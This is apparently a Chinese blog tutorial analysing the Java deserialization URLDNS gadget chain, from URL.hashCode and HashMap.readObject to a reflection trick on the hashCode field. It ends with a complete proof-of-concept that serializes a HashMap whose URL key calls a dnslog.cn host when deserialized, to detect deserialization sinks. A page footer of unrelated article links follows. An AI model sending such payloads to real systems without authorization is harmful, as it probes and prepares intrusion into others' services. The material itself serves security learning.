Java反序列化漏洞-URLDNS链分析
一、前置知识
URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。
反射
下面是两个本文中要用到的反射方法:
反射获取类对象:
Student s = new Student();
//方法1
Class clazz = s.getClass();
//方法2
Class clazz2 = Student.class;
反射修改私有成员变量:
Field name = clazz.getDeclaredField("name");
name.setAccessible(true);
name.set(s,"zzy");
二、分析
1. URL
URL.class关键代码
public final class URL implements java.io.Serializable {
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
}
首先看,URL类中有个hashCode方法,他会调用URLStreamHandler类的hashCode方法,URLStreamHandler的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。
addresses = nameService.lookupAllHostAddr(host);
总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。
写一下代码来看看能不能实现DNS请求
package com.learn;
import java.net.MalformedURLException;
import java.net.URL;
public class Blog {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("https://test.wc5uoi.dnslog.cn");
url.hashCode();
}
}

可以看到成功发起了DNS请求

我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法
URL类中的readObject方法

URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧
2. HashMap
可以看到HashMap有一个hash方法调用了hashCode方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了

在readObject中key是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()方法来读取一个对象,并将其强制转换为K类型,即键的类型。
所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。
试着写一下代码
package com.learn;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("https://test.9oeary.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>();
hashMap.put(url, "123");
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
}
public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}
成功完成DNS请求


虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求

这是为什么呢?
3. 解决一些问题
通过调试看到,HashMap在put的时候就会调用hash方法

所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?
继续跟进程序,这是URL的hashCode方法:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到如果hashCode变量不是-1的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求
继续跟进,发现hashCode在定义时的初始值就是-1
private int hashCode = -1;
反射修改字段值
由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);
由于这里把hashCode改为1了,在put后还需要把它改回-1,让程序在反序列化还会发起dns请求
//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);
hashMap.put(url, "123");
//将hashCode改回 -1
hashCodeField.set(url, -1);
三、POC
package com.learn;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("https://test.0x044e.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);
hashMap.put(url, "随便输入点东西");
//将hashCode改回 -1
hashCodeField.set(url, -1);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
}
public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}

到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试

四、利用链
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
Java反序列化漏洞-URLDNS链分析的更多相关文章
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
随机推荐
- dedebiz 清理冗余废弃未引用图片方法
原理描述: 在原有织梦后台菜单中增加"清理冗余图片按钮",实现清理冗余图片的功能. 操作步骤: 1. 打开后台admin\sys_sql_query.php代码 在该文件中搜索如下 ...
- filebeat新filestream类型是否支持tail_files类似功能探究
背景 试水搭建ELK,使用了ELK7.17.13版本,filebeat默认配置的input type已经是filestream而非旧版的log类型,开始了探索之旅. 信任ChatGPT导致的三次失败尝 ...
- ElasticSearch系列——查询、Python使用、Django/Flask集成、集群搭建,数据分片、位置坐标实现附近的人搜索
@ 目录 Elasticsearch之-查询 一 基本查询 1.1 match查询 1.2 term查询 1.3 terms查询 1.4 控制查询的返回数量(分页) 1.5 match_all 查询 ...
- python3 gui 计时器
# -*- coding: utf-8 -*- # @Time : 2023/4/4 21:53 # @File : 定时器gui.py # @Software: PyCharm Community ...
- MySQL快速导入千万条数据(1)
目录 一.命令行导入方式 二.LOAD DATA导入方式 对于传统的关系数据库如oracle,在大量数据导入方面的效率,我们一般有一个大概的认知,即1分钟以内可以导入千万条数据,而对于MySQL数据库 ...
- RocketMQ为什么要保证订阅关系一致
这篇文章,笔者想聊聊 RocketMQ 最佳实践之一:保证订阅关系一致. 订阅关系一致指的是同一个消费者 Group ID 下所有 Consumer 实例所订阅的 Topic .Tag 必须完全一致. ...
- Nuxt.js 生成sitemap站点地图文件
Nuxt.js 生成sitemap站点地图文件 背景介绍 使用nuxt框架生成静态文件支持SEO优化,打包之后需要生成一个 sitemap.xml 文件方便提交搜索引擎进行收录.官网有提供一个插件 ...
- 2023-10-25:用go语言,假如某公司目前推出了N个在售的金融产品(1<=N<=100) 对于张三,用ai表示他购买了ai(0<=ai<=10^4)份额的第i个产品(1<=i<=N) 现给出K(
2023-10-25:用go语言,假如某公司目前推出了N个在售的金融产品(1<=N<=100) 对于张三,用ai表示他购买了ai(0<=ai<=10^4)份额的第i个产品(1& ...
- LAMP搭建流程与应用
LAMP搭建流程 1.环境准备 [root@localhost opt]# systemctl stop firewalld.service [root@localhost opt]# seten ...
- Vue源码学习(十五):diff算法(二)交叉比对(双指针)
好家伙, 本节来解决我们上一章留下来的问题, 新旧节点同时有儿子的情况本章继续解决 1.要做什么? 本章将解决, 1.在相同tag下子元素的替换问题 2.使用双指针进行元素替换, 实现效果如下: ...